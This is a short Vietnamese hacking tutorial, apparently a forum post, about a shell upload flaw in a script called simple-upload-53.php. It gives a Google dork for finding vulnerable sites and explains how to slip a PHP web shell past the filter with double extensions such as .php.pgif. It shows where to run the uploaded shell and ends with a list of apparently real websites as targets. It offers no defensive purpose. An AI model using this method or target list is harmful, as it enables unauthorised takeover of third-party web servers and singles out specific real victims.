TailoredWeb SheLL Upload Vulnerability

I  -  TailoredWeb SheLL Upload Vulnerability 
  

           

     1-     Google Dork: 

    "inurl:simple-upload-53.php"

     2-   Chọn victim,sẽ có link như sau:

   http://www.site.com/simple-upload-53.php

OR

  http://www.site.com/path/simple-upload-53.php

Ví dụ:

  http://www.targetms.biz/simple-upload-53.php

 

     3-   Upload Shell

Thay đổiđuôi shell thành dạng  shell.php.jpg   .php.pjpg   .php.gif .php.pgif

            Bâygiờ soleil sẽ upload shell byg.php.pgif lên.

     4-   Chạy Shell:

Run Shelltheo  path sau:

http://www.site.com/files/yourfilehere

Ví dụ:

http://www.targetms.biz/files/byg.php.pgif

Với dork trên Soleil tìm đường 1 số linksau:

http://www.targetms.biz/simple-upload-53.php

http://www.greenbeerday.com/simple-upload-53.php              

http://www.kwa.com.br/k/teste/simple-upload-53.php

http://sorbachattanooga.org/trailsold version/simple-upload-53.php

http://www.rdkinvestmentgroup.com/upload2/simple-upload-53.php

http://www.starpace.co.uk/docs/simple-upload-53.php

http://www.stpatricksdayshirts.com/simple-upload-53.php

http://www.centralmachineandfab.com/simple-upload-53.php

http://www.greenbeerday.com/simple-upload-53.php